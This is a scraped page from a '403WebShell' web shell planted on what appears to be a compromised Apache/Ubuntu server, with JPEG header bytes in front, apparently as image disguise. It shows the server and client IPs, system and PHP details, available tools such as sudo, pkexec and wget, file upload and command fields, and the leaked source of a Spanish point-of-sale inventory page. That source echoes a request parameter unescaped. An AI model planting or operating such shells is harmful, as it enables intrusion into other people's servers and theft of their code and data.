����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 52.15.242.179
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/inventary-view.php
<?php
$stock = StockData::getById($_GET["stock"]);
	
	if(isset($_GET["category_id"])){
		$category_id = $_GET["category_id"];
		$products = ProductData::getAllByCategoryId($category_id);
	}else{
		$category_id = 2;
		$products = ProductData::getAllByCategoryId($category_id);
		//$products = ProductData::getAllByCategoryNull();
		
	}
	
$categorys=CategoryData::getAll();
?>
<section class="content">
<div class="row">

		
	<div class="col-md-12">
	
<!-- Single button -->
<div class="btn-group pull-right">
  <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
    <i class="fa fa-download"></i> Descargar <span class="caret"></span>
  </button>
  <ul class="dropdown-menu" role="menu">
    <li><a href="report/inventary-word.php?stock_id=<?php echo $stock->id; ?>">Word 2007 (.docx)</a></li>
    <li><a href="report/inventary-xlsx.php?stock_id=<?php echo $stock->id; ?>">Excel 2007 (.xlsx)</a></li>
<li><a onclick="thePDF()" id="makepdf" class="">PDF (.pdf)(En contruccion)</a>
  </ul>
</div>
		<h1><i class="glyphicon glyphicon-stats"></i> Inventario <small><?php echo $stock->name; ?></small></h1>
<ol class="breadcrumb">
  <li><a href="./?view=home">Inicio</a></li>
  <li><a href="./?view=stocks">Almacenes</a></li>
 
  <li><a href="./?view=inventary&stock=<?php echo $stock->id; ?>"><?php echo $stock->name;?></a></li>
 
   <?php foreach($categorys as $category):?>
   <li><a href="./?view=inventary&stock=<?php echo $stock->id; ?>&category_id=<?php echo $category->id; ?>"><?php echo $category->name; ?></a></li>
   <?php endforeach;?>
  
</ol>




<?php if(count($products)>0){
	?>
<div class="clearfix"></div>
<div class="box">
  <div class="box-header">
    <h3 class="box-title">Inventario Productos Por Categoria <u></u></h3>

  </div><!-- /.box-header -->
  <div class="box-body">
  <table class="table table-bordered datatable table-hover">
	<thead>
		<th>Codigo</th>
		<th>Nombre</th>
		<th>Precio</th>
		<th>Existencia</th>
		<th></th>
	</thead>
	<?php $i = 0; 
	?>
	
	<?php foreach($products as $product):
	
		//ventas salida
		$operations = OperationData::getAllByProductIdAndStock($product->id,$stock->id);
		//compras entrada
		$operations2 = OperationData2::getAllByProductIdAndStock($product->id,$stock->id);


		//ventas en tabla t_sale_detail
		$operations3 = OperationData::getByc2($product->name);
		//devoluciones de tabla operations
		$operations4 = OperationData::getAllByProductIdAndStockDev($product->id,$stock->id);

		$totalV=0;
		foreach($operations3 as $op)
		{
			$totalV = $totalV + $op->qty;
		}

		$totalDev=0;
		foreach($operations4 as $op2)
		{
			$totalDev = $totalDev + $op2->q;
		}
		
		//revisar que entradas son
		$itotal = OperationData::GetInputQByStock($product->id,$stock->id);
		//abastecimientos
		$itotal2 = OperationData2::GetInputQByStock($product->id,$stock->id);
		//ajuste salida
		$totalAjusteS = -1*OperationData2::getOutputQYesF($product->id);

		$entradas = $itotal2;

		 $q = $entradas-$totalV+$totalDev-$totalAjusteS;
	?>
	<tr class="<?php  echo "warning";?>">
		<td><?php echo $product->barcode; ?></td>
		<td><?php echo $product->name; ?></td>
		<td><?php echo number_format($product->price_out,2); ?></td>
		<td><?php echo number_format($q,2); ?></td>
		<td style="width:93px;">
		<a href="index.php?view=history&product_id=<?php echo $product->id; ?>&stock=<?php echo $_GET["stock"];?>" class="btn btn-xs btn-success"><i class="glyphicon glyphicon-time"></i> Historial</a>
		<a href="index.php?view=re&product=<?php echo $product->id; ?>" class="btn btn-xs btn-info"><i class="glyphicon glyphicon-time"></i>Abastecer</a>
		</td>
	</tr>
	<?php 
	
	endforeach;
	?>
	
</table>
  </div><!-- /.box-body -->
</div><!-- /.box -->



<div class="clearfix"></div>

	<?php
}else{
	?>
	<div class="jumbotron">
		<h2>No hay productos</h2>
		<p>No se han agregado productos a la base de datos, puedes agregar uno dando click en el boton <b>"Agregar Producto"</b>.</p>
	</div>
	<?php
}

?>
<br><br><br><br>
	</div>
</div>
</section>


Youez - 2016 - github.com/yon3zu
LinuXploit